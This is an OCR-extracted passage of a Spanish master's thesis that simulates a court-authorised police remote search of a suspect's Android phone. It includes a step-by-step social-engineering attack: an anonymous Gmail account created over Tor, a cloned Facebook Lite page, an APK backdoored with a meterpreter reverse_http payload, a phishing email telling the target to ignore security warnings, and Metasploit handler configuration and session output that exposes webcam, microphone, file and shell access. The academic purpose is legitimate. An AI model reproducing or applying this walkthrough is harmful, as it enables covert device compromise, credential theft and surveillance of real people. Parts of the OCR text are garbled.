2016-12-12 United Kingdom 5.0.1 19505XXUHPK2 19505BTUHPK1 (5] South Africa (XFM) (XFM)
South America (Moviestar) (CRM)
2016-09-21 Nordic countries 5.0.1 19505XXUPPI1 19505NEEPPH2 (5] South East Europe (SEE)
Spain (PHE)
2016-09-21 Netherlands 5.0.1 19505XXUPPI1 19505PHNPPG2 (5] Spain (Movistar) (XEC)
Spain (Orange) (AMN)
2016-09-21 Netherlands 5.0.1 19505XXUPPI1 19505YHNPPG1 (5] Spain (Orange) (AMO)
2016-09-12 France (SFR) 5.0.1 19505XXUHPG1 19505SFRHPH1 Spain (Vodafone) (ATL)
o 9 Spain (Yoigo) (Black Edition) (YOG)
2016-09-08 Luxembourg 5.0.1 19505XXUHPG 1 19505LUXHPH1 (s] Sweden (VDS)

Sweden (Tre) (HTS)

Cookies and analytics help us deliver our services. By using our services, you agree to our use of cookies and analytics. Learn more

llustracion 8. Ultima versién de Android oficial del dispositivo

Con esa informacién disponible, y teniendo como herramienta (Metasploit, 2017), se puede
concluir que, con la versién 5.0.1 de Android instalada en el dispositivo, es probable que
ninguno de los (exploit, 2017) disponibles en dicho Framework llegue a funcionar

correctamente.

Es cierto que la version del sistema operativo instalada en el dispositivo del investigado puede
ser una anterior, en la que llegue a funcionar alguno de los (exploit, 2017) disponibles. Pero,
ante la imposibilidad de realizar mas comprobaciones previas, y teniendo en cuenta que el
(payload, 2017) inyectado en un a aplicacién de Android va a funcionar casi con total
seguridad (siempre y cuando el objetivo la instale en el dispositivo, claro), se opta por elegir

esta ultima opcidn.
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d) Solicitud al Juez de Instrucciéon

Acerca de la solicitud de autorizacion al Juez de Instrucciéon competente, en el Anexo | figura

el escrito de peticion que se realizaria.

En el mismo, como ya se ha reiterado en el presente Trabajo de Fin de Master, se hace
referencia al hecho delictivo que se esta investigando. Igualmente, se describen todas las
gestiones realizadas, previas a la solicitud de la autorizacion del registro remoto, de modo que
el Juez pueda entender que, sin la aplicacion de la medida solicitada, no se pueda continuar

con las averiguaciones en la investigacion.

Ademas, se facilita la identidad completa de la persona que esta siendo investigada. Dichos
datos, en este caso concreto, han sido conocidos por medio de la investigacion policial

tradicional, lo que, por otra parte, sera lo mas comun en el resto de investigaciones.

En el escrito figura la medida para la que se solicita autorizacion (registro remoto), indicando
ademas que se quiere realizar una copia de los datos contenidos en el dispositivo, una vez se
lleve a efecto el registro remoto. También se explica cdmo se va a llevar a cabo el control de
la integridad de los datos copiados en un dispositivo extraible, en poder de los investigadores.

Dicho soporte, o copia del mismo, sera remitido al Juez Instructor posteriormente.

Con la explicacion de los hechos delictivos, y las gestiones llevadas a cabo, asi como la
informacion adquirida en el conjunto de la investigacién, se hace hincapié en que la medida
resultaria proporcionada al delito investigado, debido a la alta pena de prision que puede
acarrear. Del mismo modo, se informa de que, sin la aplicacion de la medida, seria
practicamente imposible continuar de un modo satisfactorio con la investigacion, siendo la
medida solicitada necesaria. Ademas, la medida es idénea en relacion con los hechos

investigados y la forma en que se estan cometiendo por el investigado.

Ya al comienzo del documento, se informa del Grupo de Policia Judicial que se hace cargo
de la investigacion, asi como de los numeros de carné profesional de los investigadores que

llevarian a cabo la medida, caso de concederse.

Englobado en los datos que se facilitan al Juez, se explica el tipo de software que va a
utilizarse para el registro remoto, aunque no se indique explicitamente qué aplicacién concreta
se va a utilizar. De todos modos, es el Juez de Instruccién el que decide el software que se
va a utilizar para realizar la medida, pero se le informa de las opciones que tienen disponibles

los investigadores.
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Ese tipo de software seleccionado, va en relacion con el dispositivo a registrar, siendo los
datos que se facilitan al Juez que se trata de un teléfono mévil Samsung Galaxy S4, con
sistema operativo Android, con nimero de teléfono 66-666-666 y que hace uso del correo
electrénico jreacherprueba@gmail.com.

También se le indica al Juez de Instruccién la forma en la que se va a proceder a la instalacion
del software anterior. Se le informa de que dicha instalacion se va a realizar a distancia,

mediante el uso de Ingenieria Social.

En relacién con el parrafo anterior, también se solicita la colaboracién de una empresa, sujeto
obligado a colaborar, para realizar el envio del correo (0 mensaje) que incluira el enlace con
el software utilizado para el registro remoto, que el investigado debera instalar (en el ejemplo
practico no se va a poder hacer uso de esa colaboracién, por tratarse de una simulacién y no

de un caso real).

Finalmente, se le informa al Juez del periodo temporal para el que se solicita la medida, siendo
en este caso de 1 mes. Este tiempo se usara para instalar el software en el dispositivo a

registrar y realizar de forma efectiva el registro.

Puede parecer una cantidad exagerada de tiempo, pero en muchas ocasiones los
investigadores encontraran grandes dificultades en instalar el software necesario, y el tiempo
de la autorizacidon comienza desde que se concede, no desde que el software ya esta
instalado. Y, ademas, no se pueden realizar pruebas de instalacion reales hasta que la
autorizacion haya sido concedida. Por lo que el mes solicitado sera un tiempo ajustado a la
realidad.

Una vez solicitada, y concedida por el Juez, la autorizacion, se procederia a la instalacion del
software elegido en el dispositivo a registrar.

e) Instalaciéon del malware (mediante Ingenieria Social)

Como ya se ha expuesto durante el desarrollo de la metodologia, este es el punto clave de la
misma, puesto que, si no se consigue que el investigado instale el software, no se podra llevar

a cabo el registro remoto del dispositivo.

Para llevarlo a efecto, se va a remitir un correo electréonico al investigado, que contiene un
enlace de descarga al software que se desea instalar. La opcién ideal, que se muestra en la
metodologia, seria contar con la colaboracién de algun sujeto obligado (en el escrito de

solicitud de autorizacion se solicita la colaboracion de Movistar, por ejemplo). De este modo,
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tanto el correo recibido por el investigado, como el servidor en el que se aloje el archivo, seran

de una entidad conocida por el investigado (ya que, se supone, es su operador de telefonia).

Otra opcién, también “ideal”, es contar con un dominio propio, y tener cuentas de correo
electronico asociadas a dicho dominio, para poder realizar los envios al investigado, pero

conlleva un coste econdmico.

En la presente simulacién, no es posible optar por ninguna de las 2 opciones anteriores (que
aparecen en la metodologia propuesta), asi que se opta por crear una cuenta de correo
electrénico, en un proveedor gratuito, a través de la red (TOR, 2017), lo que nos dara cierto

anonimato.

Se ha elegido una cuenta de Gmail, puesto que, al ser el mismo proveedor que el del correo
del investigado, es mucho menos probable que el correo enviado acabe en la carpeta de spam

y que, de esta manera, el investigado abra el correo e instale el software.

También hay que tener en cuenta las costumbres de conexion a Internet de la persona
investigada. En este caso concreto, se tiene conocimiento de que el investigado utiliza una
red inalambrica publica a diario (de lunes a viernes), a la cual se conecta su dispositivo

automaticamente.

Los investigadores se conectan a dicha red inalambrica, con el objetivo de conocer el rango

de IP que asigna que, en este caso, es 192.168.1.xxx.

De este modo, todo el proceso se realizaria haciendo uso de dicha red, lo que permite montar

un servidor web propio, en local, que albergue el software de registro remoto.

No es necesaria la creacion de un (Rogue AP, 2017), puesto que el espacio temporal es
suficiente para que el investigado realice la instalacién del software mientras permanece

conectado a esa red.

Si se observara que el investigado abandona el lugar, y no ha realizado la instalacién, si que
podria tomarse como opcion el crear un (Rogue AP, 2017) que suplante el del Centro Civico
y seguir al objetivo para que el teléfono mévil permanezca conectado a dicho (Rogue AP,
2017).

Por lo tanto, el primer paso sera crear una cuenta de Gmail, desde la que enviaremos el correo

electronico al investigado.
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Con el fin de anonimizar los datos de conexién, la cuenta se creara haciendo uso de (TOR
Browser, 2017) desde la maquina virtual de (Kali Linux, 2017) 64 bits instalada en el ordenador

utilizado.

En la “llustracion 9” se observan los datos introducidos para la creacion de la cuenta de correo.

[ = ~wag-
Create your Google Account - Navegador Tor 60
G Create your Google ... % | #
S @vi€)ba google.com a =
Google E

Create your Google Account

Roberto Kaplan Saiz

llustracion 9. Datos de creacién de la cuenta de Gmail

El correo electronico que se ha creado es robekaplan@gmail.com, y como nombre del usuario

propietario de la cuenta se ha introducido “Roberto Kaplan Saiz”. Debe ser un nombre que no
incite demasiada desconfianza en la persona investigada, y que pueda interpretarse como

acorde con el contenido del correo enviado y el motivo del envio.

La idea es enviar un correo en el que se le ofrezca al investigado una aplicacion maévil para
acceder a Facebook, puesto que, por las investigaciones practicadas, se estima que el

investigado no la utiliza.

Pero no se le va a ofrecer la aplicacion estandar, sino que se le va a ofrecer la aplicacion de
Facebook-Lite, la cual utiliza menos recursos del teléfono mévil (cabe recordar que el teléfono

que utiliza tiene ya cierta antigiedad).

Se le va a ofrecer como una novedad para ciertos usuarios seleccionados, de los cuales se
ha detectado que no utilizan la aplicacion del teléfono movil, sino que acceder a Facebook
desde el navegador.
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De este modo, y personalizando el mensaje para el usuario de Facebook que posee, se tratara

de que el investigado confie e instale la aplicacion deseada.

Ademas, se le va a explicar por qué se le ofrece la aplicacion de esta forma (que no es, en

absoluto, la habitual) y qué pasos son necesarios para poder instalarla en su dispositivo.

Una vez configurada la cuenta desde la que se va a enviar el correo, queda por crear el propio

correo.

Primero se debe elegir qué aplicacién es la que se va a utilizar para inyectar el (payload, 2017)
necesario para la realizacion del registro remoto. Como se ha expuesto anteriormente, la
elegida en este caso seria “Facebook-Lite” para Android. Realizando una busqueda en
Internet, se observa que existe la opcidon de descargar directamente el fichero “.apk” de la
pagina oficial (si esto no fuera posible, mediante el uso de diversas paginas web, como (apk-
downloader, 2017), se puede realizar la descarga del fichero “.apk” indicando la identificacion

de la misma en (Google Play, 2017)), tal y como se observa en la “llustraciéon 10" y en la

“llustracién 11”.

Facebook - Aplicaciones de Android en Google Play - Mozilla Firefox 60

B Facebook - Aplicacion... x | 4

€ )9 @ https:/iplay.googl 2id = e &hl=es G ©Seal B8 9 3 A =
[ Most Visited v JfjOffensive Security \ Kali Linux "\ Kali Docs “\ Kali Tools EBExploit-DB WAircrack-ng I APK Downloader [Lates.
> GooglePlay & [ o | z 0@
Mis aplicaciones
Tie
Facebook o =

Juegos Facebook Social . . ) i

<

Familiares H control parental Facebook Lite

Seleccion de nuestros Contiene anuncios
expertos

Rk

Cuenta

Q Instagram

-
Canjear ¥ ‘&
Comprar tarjeta regalo s 0 = @ 1 : s d
jlista de deseos < GBI ‘ 5 -
J Y
' [ s S
u res cott Chiisten:
L= ¥ 8 ° 1 Messenger
2 y
1
® .
A @ s 2 s
Snapchat

Rk

Facebook Me
MAS INFORMACION k

llustracién 10. Localizacién de la identificacién de la aplicacién en Google Play
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APK Downloader [Latest] Download Directly | Chrome Extension v3 (Evozi Official) - Mozilla Firefox ©eeo0
P4 APK Downloader [Lat.. x | #
€ a evozi.com: t B c a *B 9 3 A =
[BMost Visited v JfOffensive Security \,Kali Linux \ Kali Docs \Kali Tools KBExploit-DB WAircrack-ng [ APK Downloader [Lates.
P APK Downloader Home  Comme

Package name or Google Play URL € Visit Play Store

com.facebook katana

& Generate Download Link
& Click here to download com.facebook.katana now

OIL COMPANY DEF|

Request Update

anted to get your hands on the latest game, only to find that the Google Play thought it wasn't compatible with your phone
e, bl old e coL ndle it still. Or pp i vail 1 your

een stuck, but a new online service called APK Downloader will allow you to download an apk file from the Google Play directly to your de:

woee e 8

Online APK Downloader FAQ

ownload my apps using HTTPS?
n (https

llustracion 11. Generacién del link de descarga del “.apk” de la aplicacion

Como se ha dicho, en el caso de Facebook-Lite la propia pagina web permite la descarga del
“.apk” de la aplicacion, sin necesidad de recurrir al método anterior, como se observa en la

“llustracion 12”. Por lo tanto, pulsando en el botén de “Descargar”, se descargara el fichero

“.apk” de la aplicacion de Facebook Lite.
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ugares v (@ Firefox ESR ~

APK de Facebook Lite para Android - Mozilla Firefox o0
Ed APK de Facebook Lite.. x | #
€ oa facebook.com wE 9 3 A =

[ Most Visited v [f§Offensive Security "\ Kali Linux \,Kali Docs "\ Kali Tools EBExploit-DB WAircrack-ng [ APK Downloader [Lates.

n Facebook Lite
( GETITON
& Descargar [ » Googlc play

Esta version de Facebook usa menos datos y funciona en todas las condiciones de red.

Facebook Lite:
« Se instala rapidamente: la aplicacién ocupa menos, por lo que se descarga en seguida y usa menos espacio de almacenamiento.
« Func Iéfonos Android antiguos: puedes usarla en teléfonos Android antiguos que no admiten la aplicacién de Facebook normal

Usa menos datos: el uso de tus datos mé mas eficiente. Ahorra dinero usando menos datos
Se carga aplicacio ida. Sube fotos antes y consulta las actualizaciones de tus amigos.
Funci isefiada para redes 2G y zonas con una conexion a internet lenta o inestable.

Compatibilidad:
Android 2.2 0 superior

Ultima actualizacién:
8 de junio de 2017

) English (US) Catala Frangals (France) Ror Hallano Galego Deutsch P

llustracién 12. Pagina de descarga del ".apk" de Facebook Lite

Como se observa, aparece un botén para descargar el “.apk” directamente y otro que permite
la descarga desde (Google Play, 2017). Como el aspecto de la pagina resulta convincente,
mediante la herramienta “hhtrack” se procedera al clonado de esta pagina web, para ser

remitida a la persona investigada.

Una vez clonada, se haran las modificaciones pertinentes en la misma, como: variar la
direccién donde se encuentra alojado el “.apk” para que apunte al servidor propio en el que
se colocara la aplicacién modificada, eliminar el botén de descarga de (Google Play, 2017), e
introducir algun texto mas que explique el proceso de instalacion y los permisos que se le van
a requerir durante la instalacion. Todo ello en aras de dar un aire de oficialidad al correo e

infundir confianza.

Se comienza con el primer paso, que es la clonacion de la pagina web mediante el uso de
(httrack, 2017). En la “llustracién 13" se observa el comando introducido para realizar la

clonacion, y en la “llustracion 14” se muestra el resultado de dicha clonacion.
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root@kali: ~ @ 0 0

Archivo Editar Ver Buscar Terminal Ayuda

:~# httrack https://es-es.facebook.com/lite/
There is an index.html and a hts-cache folder in the directory
A site may have been mirrored here, that could mean that you want to update it
Be sure parameters are ok

Press <Y><Enter> to confirm, <N><Enter> to abort

Y

WARNING! You are running this program as root!

It might be a good idea to run as a different user

Mirror launched on Fri, 09 Jun 2017 05:33:31 by HTTrack Website Copier/3.48-24 [
XR&C0'2014]

mirroring https://es-es.facebook.com/lite/ with the wizard help..

Done.https://es-es.facebook.com/lite/zK08 (118244 bytes) - 404
Thanks for using HTTrack!
s ~#

llustracién 13. Comando para realizar la clonacion de la pagina web

‘( > || 4 1 Carpetapersonal es-es.facebook.com | lite » Q ::‘ = @0 O
© Recientes o | |

G Carpeta personal [FEEE mko2html  ZKOS.html

i Escritorio

[} Documents
® Downloads
JJ Music

0 Pictures
H Videos

{ Papelera
© VBOXADDITI. =

+ Otras ubicaciones

cindex.html» seleccionado (121,1 kB)

llustracion 14. Resultado del proceso de clonacion.

El fichero que se observa en la “llustracion 14”, con el nombre de “index.html”, es el que
contiene el cddigo de la pagina web clonada. Por lo tanto, ése sera el fichero a modificar a

conveniencia de los investigadores.
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Para poder modificar dicho fichero convenientemente, primero se deben realizar otras
acciones, en aras de preparar, tanto el software a instalar en el dispositivo del investigado
(modificar la aplicacién de Facebook Lite descargada), como el lugar donde estara alojado

dicho software.

Primero, se va a llevar a cabo la modificacion de la aplicacién original descargada. Para ello,
se hara uso de la herramienta (spade, 2016). Para generar el (payload, 2017) a inyectar, hace
uso de (msfvenom, 2016), por lo que pide la seleccién del (payload, 2017) a utilizar, asi como

la IP y puerto de escucha. Estos datos se pueden observar en la “llustracién 15”.

W) B~

root@kali: ~/spade e o

created by Suraj (#reet)

spade at 11:15:08
heck file facebook lite v41.0.6.2.68.apk
0.0.2 k 0K

cebook_lite v41.0.0.2.68.ap

LHOS’ 168.1.48
LPORT> 4567

llustracién 15. Proceso de generacion de la inyeccion del "payload” en la aplicacion de Facebook Lite mediante
"Spade"

Como se observa en la “llustracién 157, el (payload, 2017) generado se va a conectar a la IP
privada de los investigadores mediante “http”, a través del puerto “4567”. La IP es una IP
privada, ya que todo el proceso se va a realizar desde la red inalambrica publica a la que se
conecta el investigado. Si el proceso se realizara a través de Internet, el argumento “LHOST”
deberia ser la IP publica de los investigadores (hay que recordar que es imprescindible que

dicha IP no varie a lo largo del tiempo, por lo que debe ser una IP fija).

Una vez finalizada la ejecucion de la herramienta, informa de que se ha conseguido inyectar
el (payload, 2017) satisfactoriamente, el nombre de la aplicacién modificada que se ha creado
(facebook_lite_v41.0.0.2.68-final.apk) y pregunta si se quiere configurar la herramienta de
escucha. Se introduce que no, puesto que dicha herramienta sera la que se utilice para realizar
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el registro remoto, una vez que la aplicacion esté instalada en el dispositivo a registrar, por lo
que, por el momento, no es necesaria su ejecucion. Esta informacién se puede observar en

la “llustracion 16”.

W) B~

root@kali: ~/spade o0

facebook. lite.MainActivity. ..
loit/stage/Payload

VIBRATE
wakizashi.provider.ACCESS
iission.BATTERY STATS

ion WRITE EXTERNAL_STORAGE
T_TASKS
r ;erms:mu UNINSTALL_SHORTCUT
ion ACLESS NETWORK_STATE
ion.READ_PROFILE
sion.prod.FB APP_COMMUNICATION
UNTS

ion.AUTI ENTICATE ACCOUNTS
android. ion.CHANGE NETWORK STATE
android. ion.READ PHONE STATE
android. ion GET ACC OUNTS
com. facel ov:
aumom

rdrcld

android. is

android.permission.ACCESS WIFI STATE

com. facebook . katana.provider.ACCESS
android. ission.ACCESS COARSE LOCATION
android.

book.mlite.provider.ACCES!
ission.WAKE LOCK
iission.SYSTEM ALERT WINDOW
lite.permission.C2D MESSAGE
ission.BROADCAST STICKY
ission.READ_CONTACTS
0id.c2dm.permission.RECEIVE
ion.WRITE_CONTACTS

vider.badge. pernission.WRITE
permission “READ. CALL L0G
aumom permission.RECEIVE BOOT COMPLETED
android.permission.SET WALLPAPER
android. permission.READ I
android. permission.WRITE CALEHDAR
+] 45 Permissions added.
Recompiling.
: Using Apktool 2.2.0
: Smaling smali folder into classes.dex...
: Building resources. ..
: Building apk file...
: Copying unknown files/dir...
signing apk...
+] Successfully backdoored and saved as facebook lite v41.0.0.2.68-final.apk
Do you want to setup a listener?[y/n]

llustracion 16. Finalizacién del proceso de inyeccion del "payload” en la aplicacién Facebook Lite mediante "Spade”

Una vez finalizada la ejecucion, se renombra la aplicacion generada como “facebook_lite.apk”.

El siguiente paso es colocar dicha aplicacién en el propio servidor web de los investigadores.

Lugar desde el que sera descargada por el investigado.

Para ello, se hace uso del propio servidor web “Apache” que viene instalado en (Kali Linux,
2017). La direccion en la que se va a colocar el fichero es
“192.168.1.48/Aplicaciones/Facebook_lite.apk”. Esta sera la direccion a la que apunte el botén

de “Descargar” del html modificado.

Una vez esta la aplicacion en el servidor, se prepara el correo electrénico a enviar. Para ello,
se modifica el “html” de la pagina clonada convenientemente: se modifica la direccion del lugar
en el que se encuentra la aplicacion a descargar y se afiaden varias lineas de texto para
explicar la instalacién de la misma. Con respecto a la direccion donde se encuentra la
aplicacion, se ha optado por acortar la URL mediante el uso de (tinyurl, 2002), para que no
aparezca la direccion IP del servidor de los investigadores, y eso direccion es la que figura en

la pagina modificada, que es http://tinyurl.com/y7enj2yt. El resto de modificaciones realizadas,
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junto con la de la URL, se pueden observar en el texto resaltado del fichero html modificado

de la “llustraciéon 17”.

‘ *index.html |
Abiic ~ || | Guardar || =
‘ a Iarfwww/html ° @ °
LeNT ><img Class= Mg STC= MULPS://SCOMLENT. XX. [DCAN.NEL/V/ L3Y. £303-07 1103 /043 0439436350367 _L0Z293333Z_11. PIIg (ON=2d5 L L4508 /UCaU4UETYETY0/ 30/ 0990saNp ; 08=39YALUDEG  ali=
id="fb-sideload-icon" /><h2>Facebook Lite</h2><div class="mvm uiP fsm" id="fb-sideload-promo-ident-p">Una experiencia mas rapida de Facebook para Android.</div><br />

l<a class="_42ft _4jy0 1y9c 4jy4 4jy2 selected 51sy" role="button" href="http://tinyurl.com/y7enj2yt"><img class: img" ttps://static.xx.fbcdn.net/rsrc.php/v3/yj/
r/XU9as9kKTPK.png" alt: wi height="20" />Descargar</a>

I<div id="fb-sideload-size">1.14 MB </div></div></div>

l<div class="fb-sideload-card" id="fb-sideload-about"><div class="wrapper"><div class="mvm uiP fsm" id="fb-sideload-tagline">Esta version de Facebook usa menos datos y funciona
en todas las condiciones de red.</div>

I<h4 class="fb-sideload-text">Facebook Lite:</h4><ul class="uilist fb-sideload-text 4of _4kg" id="fb-sideload-list">
i i cb">Se instala rapidamente: la aplicacidn ocupa menos, por lo que se descarga en seguida y usa menos espacio de almacenamiento.</div></li>
cb">Funciona en teléfonos Android antiguos: puedes usarla en teléfonos Android antiguos que no admiten la aplicacidn de Facebook normal.</div></1li>
cb">Usa menos datos: el uso de tus datos méviles serd mds eficiente. Ahorra dinero usando menos datos.</div></1i>
cb">Se carga répidamente: es nuestra aplicacién mas répida. Sube fotos antes y consulta las actualizaciones de tus amigos.</div></li>
fcb">Funciona en todas las redes: estd disefiada para redes 2G y zonas con una conexidn a internet lenta o inestable.</div></li></ul><br />

colocan las instrucciones para la instalacidi
b-sideload-text">Instalacion:</h4><ul class="uilist fb-sideload-text 4of _4kg" id="fb-sideload-list">
cb">Descarga la aplicacién mediante el botén "Descargar"</div></li>

lkli><div class: cb">Tienes que habilitar la instalacién de aplicaciones de "fuentes desconocidas" en tu teléfono mévil. Pero no te preocupes, somos nosotros!!</div></li>
<li><div class="fcb">Tu teléfono te dird que no es seguro, pero no te preocupes, es porque se trata de una nueva versién premium!'</div></li>
[<li><div clas: cb">Los permisos que se solicitan durante la instalacién son los de siempre</div></li>
[</ul><br />
l<!--Fin de las instrucciones para la instalacién-->

<div class="fb-sideload-text"><h4 class="fb-sideload-text">Compatibilidad: </h4> Android 2.2 o superior

<h4 class="fb-sideload-text">Ultima actualizacién: </h4>1 de junio de 2017</div></div></div></div></div>

HTML v  Anchura del tabulador: 8 v Ln38,Coll v NS

llustracion 17. Modificacion del fichero html clonado

A continuacion, en la “llustracién 18”, se muestra el resultado de las modificaciones (abajo a

la izquierda en la “llustracion 18”, se observa la URL que aparece para el botén de Descargar).

APK de Facebook Lite para Android - Mozilla Firefox e o

/ & APK de Facebook Lite.. x | %
€) O localhost ¢ | [Q searct "E QO3 A @ 2y =

i Most Visited v [fOffensive Security \Kali Linux %\ Kali Docs \Kali Tools EBExploit-DB WAircrack-ng % APK Downloader [Lates...

Facebook Lite

¥ Descargar

Esta version de Facebook usa menos datos y funciona en todas las condiciones de red.

Facebook Lite:

« Se instala rapidamente: la aplicacién ocupa menos, por lo que se descarga en seguida y usa menos espacio de almacenamiento.

« Funciona en teléfonos Android antiguos: puedes usarla en teléfonos Android antiguos que no admiten la aplicacién de Facebook normal.
« Usamenos datos: el uso de tus datos moviles sera mas eficiente. Ahorra dinero usando menos datos.

« Se carga répidamente: es nuestra aplicacion més rapida. Sube fotos antes y consulta las actualizaciones de tus amigos.

« Funciona en todas las redes: esta disefiada para redes 2G y zonas con una conexion a internet lenta o inestable.

Instalacion:

« Descarga la aplicacién mediante el boton "Descargar”

« Tienes que habiltar la instalacion de aplicaciones de “fuentes desconocidas” en tu teléfono mévil. Pero no te preocupes, somos nosotros!!
« Tutelfono te diré que no es seguro, pero no te preocupes, es porque se trata de una nueva version premiumi!

* Los permisos que se solicitan durante la instalacion son los de siempre

Compatibilidad:
Android 2.2 0 superior

Ultima actualizacién:

1 de junio de 2017
Espafol (Espana) English (US) Calala Frangas (France) Romana flallano Galego Deulsch Portugués (Brasl) s, DDDDEED | 4

Registarte  Entrar  Messenger Facebooklfe Movil  Buscaramigos Porconas  Paginas Lugares  Jusgos Lugares
Famosos  Mercado  Grupos Recelas Moments  Instagram nformacién  Crearanunclo  Crearpégina  Desarolladores  Empleo

Privacidad  Cookles  Gestonde anuncios[>  Condiciones  Ayuda

tinyurl.com/y7enj2yt

llustracion 18. Resultado de la modificacion de la pagina web clonada
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Una vez se ha modificado la pagina convenientemente, y se ha colocado la aplicacion
modificada lista para ser descargada, el siguiente paso es realizar el envio del correo

electronico al investigado.

Para ello, utilizaremos la cuenta creada en Gmail con anterioridad. En la “llustracion 19” se
muestra el mensaje que va a ser enviado. Como se puede observar, el mismo da apariencia
de veracidad y se le explica al investigado la forma de realizar la instalacién de la aplicacion

y por qué se hace por este medio (que no es el habitual).

Nuevas formas de compatir

jreacherprueba@gmail.com

Nuevas formas de compatir

n Facebook Lite
'a experiencia mas rapidaide Fam

4

Esta version de Facebook usa menos datos y funciona en todas las condiciones de red.

Facebook Lite:

« Se instala répidamente: la aplicacién ocupa menos, por lo que se descarga en seguida y usa menos espacio de aimacenamiento.

« Funciona en teléfonos Android antiguos: puedes usarla en teléfonos Android antiguos que no admiten la aplicacién de Facebook normal.
* Usa menos datos: el uso de tus datos moviles sera mas eficiente. Ahorra dinero usando menos datos.

« Se carga rapidamente: es nuestra aplicacion mas rapida. Sube fotos antes y consulta las actualizaciones de tus amigos.

« Funciona en todas las redes: esta disefiada para redes 2G y zonas con una conexion a internet lenta o inestable.

Instalacién:

« Descarga la aplicacién mediante el boton “Descargar”

« Tienes que habilitar la instalacion de aplicaciones de "fuentes desconocidas” en tu teléfono mévil. Pero no te preocupes, somos nosotros!!
« Tu teléfono te dira que no es seguro, pero no te preocupes, es porque se trata de una nueva version premium!?!

« Los permisos que se solicitan durante la instalacion son los de siempre

Compatibilidad:
Android 2.2 o superior

Ultima actualizacién:
1 de junio de 2017
Espaiol (Espafia) English (US) Catala Francais (France) Roménd ltaliano Galego Deutsch Portugués (Brasil) a1 =1 | 4

Regi e Entrar Messenger Facebook Lite Mavil Buscaramigos  Personas Paginas Lugares Juegos Lugares
o - “rupos Recelas Moments  Instagram Informacion Crearanuncio  Crearpagina  Desarrolladores  Empleo
sansserif - | T+ B Z U A- E I ________|
EEM: s ecaxo .

llustracién 19. Aspecto del correo electrénico que se le va a enviar al investigado

Una vez enviado el correo electronico, solo resta esperar a que el investigado realice la
instalacién de la aplicacién, mientras los investigadores quedaran a la espera con la

herramienta de escucha en estado operativo.

En el Anexo Il se pueden observar las capturas de pantalla del teléfono mévil durante la

recepcion del mensaje, descarga e instalacion (llustraciones de la 30 a la 37).
f) Explotacion del dispositivo (ejecucion efectiva del registro remoto)

Una vez que se ha realizado el envio, hay que permanecer con la herramienta de escucha en

espera.

Para ello, se inicia el Framework de (Metasploit, 2017), utilizando el comando (msfconsole,

2017), y se configura la herramienta de escucha, tal y como se muestra en la “llustracién 20”.
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Lugares v [ Terminal v vie 11:2¢ [59] 2o B~
root@kali: ~ e o

Archivo Editar Ver Buscar Terminal Ayuda

%% Date: April 25, 1848 )
% Weather: It's ool in the lab %

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

1 1

loits - 946 auxiliary - 293 post 1
s - 49 encoders - 9 nops 1
loit Pro trial: http://r-7.co/trynsp ]

ploit/multi/handler
) > set payload android/meterpreter/reverse_http
preter/reverse http
et LHOST 192.168.1.48

8
> set LPORT 4567

> set ExitOnSession false
> show options
Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (android/meterpreter/reverse http):
Name t Setting Required Description
LHOST  192.168.1.4! Listener hostname
LPORT 4567 s The local listener port
LURT The HTTP Path

Exploit target
Id Name

0 Wildcard Target

nsf exploit(

ms £ )

llustracién 20. Configuracién de la herramienta de escucha de Metasploit

Una vez configurada la herramienta, la iniciamos mediante el comando “exploit -j”, quedando

ésta a la espera de recibir la conexion del dispositivo con el software instalado.

Una vez que la herramienta comunica que el investigado esta en linea, se procede a capturar
la sesion iniciada en (meterpreter, 2017) y a realizar el registro remoto del dispositivo, como

se puede observar en la “llustracion 21”.
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% ) B~

Archivo _EditarVer Buscar Terminal Ayuda
Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

1648 exploits - 946 auxiliary - 293 post
486 payloads - 40 encoders - 9 nops
Free MetasploBSEHINIEhEr iU
exploit/multi/handler
it( ) > set payload android/meterpreter/reverse http
terpreter/reverse http
set LHOST 192.168.1.48
set LPORT 4567
set ExitOnSession false
nst exploit( how options
Module options (exploit/multi/handler)

Name Current Setting Required Description

Payload options (android/meterpreter/reverse http):
Name  Cur tting Required Description
LHOST 192.168.1.48 e The local Uistener hostnane
LPORT 4567 y The local listener port
LURT The HTTP Path
Exploit target
Id Name
0  Wildcard Target
Loit( )
%] Exploit running as background job
*] Started HTTP reverse handler on http://192.168.1.48:4567

*] Starting the paylond handler. ..
nsf exploit( [*] http://192.168.1.48:4567 handling request from 192.168.1.49; (UUID: mgmyrfm; Staging dalvik payload (68936 bytes) ..
-040

] Meterpreter seiilon 1 opened ‘119’ 168.1.48:4567 -> 192.168.1.49:45697) at 2017-06-09 11:29:27
sessions -1

Information Connection
eter dalvik/android u_al97 @ localhost 192.168.1.48:4567 192.168.1.49:45697 (192.168.1.49)

Insf exploit( ) > sessions 1
[*] Starting interaction with 1

meterpreter >

llustracion 21. Captura de la sesion iniciada por el dispositivo del investigado con "meterpreter”

Mediante el comando “help”, la herramienta lista todas las acciones que se pueden llevar a

cabo, como se observa en la “llustraciéon 22” e “llustracion 23”

% o) B~

Archivo Editar Ver Buscar Terminal Ayuda

Command Description
cat Read the contents of a file to the screen
cd Change dire
checksum Retrieve the checksum of a file
p Copy source to destination
dir List files (alias for ls)
download Download a file or directory
Edit a file
Print local working directory
Print working directory
Change local working directory
Print local working directory
List files
Make directory
Move source to destination
Print working directory
Delete the specified file
mdir Remove directory
search Search for files
upload Upload a file or directory

dapi: Networking Comman

Command Description

ifconfig Display interfaces

ipconfig Display interfaces

portfud Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description

execute Execute a command
getuid Get the user that the server is running as
Tocaltime Displays the target system's local date and time
pgrep Filter processes by name

ps List running proc

shell Drop into a system command shell

sysinfo Gets information about the remote system, such as 0S

Stdapi: User interface Commands

Command c

llustracién 22. Listado de acciones disponibles con "meterpreter” 1 de 2
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Lugares v (& Terminal +

20 B~
root@kali: ~ e o

Archivo Editar Ver Buscar Terminal Ayuda

ifconfig Dis

ipconfig y s
portfud Forward a local port to a remote service
route View and modify the routing table

Command Description

execute Execute a command

getuid Get the user that the server is running as
localtine  Displays the target system's local date and time
pgrep Filter proc by name

ps List running processes

shell Drop into a system command shell

sysinfo Gets information about the remote system, such as 0S

Grab a screenshot of the interactive desktop
pi: Webcam Commands

Command Description

mic  Record audio from the default microphone for X seconds
el chat St video chat
webcam_list List webcams
nap  Take a snapshot from the specified webcam
webcam stream Play a video stream from the specified webcam

activity start ndroid activity from a Uri string
